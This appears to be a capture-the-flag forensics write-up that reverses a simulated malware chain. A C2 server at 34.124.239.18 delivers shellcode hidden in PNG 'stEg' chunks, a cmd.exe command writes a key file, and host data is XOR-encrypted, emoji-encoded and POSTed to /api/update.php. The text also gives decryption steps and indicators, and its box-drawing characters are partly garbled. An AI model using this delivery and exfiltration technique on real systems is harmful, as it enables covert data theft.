βββββββββββββββββββ ββββββββββββββββββββ
β C2 Server ββββββββββΊβ Infected Client β
β 34.124.239.18 β β (Victim PC) β
β Port 9000 β β β
βββββββββββββββββββ ββββββββββββββββββββ
β β
β HTTP (Port 80) β
βΌ βΌ
βββββββββββββββββββ ββββββββββββββββββββ
β Web Server β β Downloads PNGs β
β /images/*.png βββββββββββ Executes Code β
β /api/update.phpβββββββββββ Uploads Results β
βββββββββββββββββββ ββββββββββββββββββββ"agent online"The C2 uses a custom binary protocol:
Message Types:
ββββββββββββββββ¬ββββββββ¬βββββββββββββββββββββββββββββ
β Message Type β Value β Description β
ββββββββββββββββΌββββββββΌβββββββββββββββββββββββββββββ€
β MSG_TEXT β 1 β Text messages β
β MSG_COMMAND β 32 β Commands from C2 β
β MSG_PING β 254 β Keepalive ping β
β MSG_PONG β 255 β Keepalive pong + flag β
ββββββββββββββββ΄ββββββββ΄βββββββββββββββββββββββββββββPacket Structure:
MSG_COMMAND:
βββββββββββ¬ββββββββββββββ¬ββββββββββββββ
β Type(1) β Length(2) β Command β
β 0x20 β uint16_t β UTF-8 text β
βββββββββββ΄ββββββββββββββ΄ββββββββββββββ
MSG_TEXT:
βββββββββββ¬ββββββββββββββ¬ββββββββββββββ
β Type(1) β Length(4) β Text β
β 0x01 β uint32_t β UTF-8 text β
βββββββββββ΄ββββββββββββββ΄ββββββββββββββC2 sends command: getrunurl http://34.124.239.18/images/niarRF.png
What happens:
stEg PNG chunkSteganography Structure:
PNG File:
βββ PNG Header (89 50 4E 47...)
βββ IHDR chunk (image metadata)
βββ IDAT chunks (actual image data)
βββ stEg chunk β HIDDEN SHELLCODE HERE!
β βββ Mahjong-encoded payload
β βββ Compressed with zlib (prefix: 'Z')
β βββ Contains: x86-64 shellcode
βββ IEND chunk (end marker)The shellcode does:
cmd.exe /c echo key: niarRF > C:\Users\Public\rest.txtThis writes a decryption key to a file that the malware reads.
Key Format:
RF = "Real Flag" β uses hostname + Windows versionFF = "Fake Flag" β uses random stringMalware reads the key and generates encrypted payload:
Flow:
hostname = "DESKTOP-P477C8C"
windows_ver = "10.0.19045"
plaintext = "flag{DESKTOP-P477C8C_10.0.19045}"
β
XOR encrypt with key "niarRF"
β
Base64 encode
β
Mahjong tile encode πππ...
β
Embed in PNG stEg chunk
β
POST to http://34.124.239.18/api/update.phpMahjong Encoding: Each byte becomes 2 mahjong tile emojis (16 tiles = 0-F in hex):
Example: Byte 0x4A β ππ (tile[4] + tile[10])parse_message(data)getrunurl ..."Upload 200", "Downloaded"reassemble_tcp_streams(packets)extract_pngs_from_stream(stream_data)extract_steg_chunk(png_data)
mahjong_decode(mahjong_str)xxxRF or xxxFF)Example extraction:
Shellcode string: "niarRF> PH"
β
Key: niarRFdecrypt_exfiltrated_data(mahjong_payload, key)Full decryption chain:
Uploaded PNG stEg chunk
β
ππππ... (mahjong tiles)
β mahjong_decode()
Raw bytes
β base64.b64decode()
Encrypted bytes
β xor_decrypt(key)
flag{DESKTOP-P477C8C_10.0.19045}stEg chunk type (not standard PNG)cmd.exe to execute commandsC:\Users\Public\ (no admin needed)shellcode_runner.exe)rest.txt is deleted)/api/update.php (looks like software update)IMG_shot_12345.png[PHASE 1] C2 Commands & Responses
ββ Shows: All commands from C2
ββ Shows: All responses from malware
ββ Purpose: Understand command flow
[PHASE 2] PNG Extraction
ββ Downloaded PNGs: Contain shellcode + keys
ββ Uploaded PNGs: Contain encrypted flags
ββ Purpose: Get raw payload files
[PHASE 3] Key Extraction
ββ Decodes shellcode from downloaded PNGs
ββ Extracts keys (niarRF, deenFF, etc.)
ββ Purpose: Get decryption keys
[PHASE 4] Decryption
ββ Tries all keys on all uploads
ββ Decrypts successful matches
ββ Purpose: Reveal exfiltrated datadef xor_encrypt(plaintext, key):
for i in range(len(plaintext)):
encrypted[i] = plaintext[i] XOR key[i % len(key)]Why XOR?
# 16 tiles represent hex digits 0-F
π=0, π=1, π=2, ... π=15
Byte 0x3A (58 decimal) = 0011 1010 binary
β β
3 + A
β β
π + πWhy Mahjong?
Network:
- C2: 34.124.239.18:9000
- HTTP: 34.124.239.18:80
- Custom binary protocol on port 9000
- PNG files with 'stEg' chunks
File System:
- C:\Users\Public\rest.txt (temporary)
- shellcode_runner.exe
- PNG files in temp directory
Behavior:
- Outbound connection to port 9000
- HTTP requests to /images/*.png
- HTTP POST to /api/update.php
- cmd.exe spawned by suspicious processWhat the malware does:
What our script does:
The Result: Complete visibility into the entire attack chain, from initial connection to final data exfiltration! π―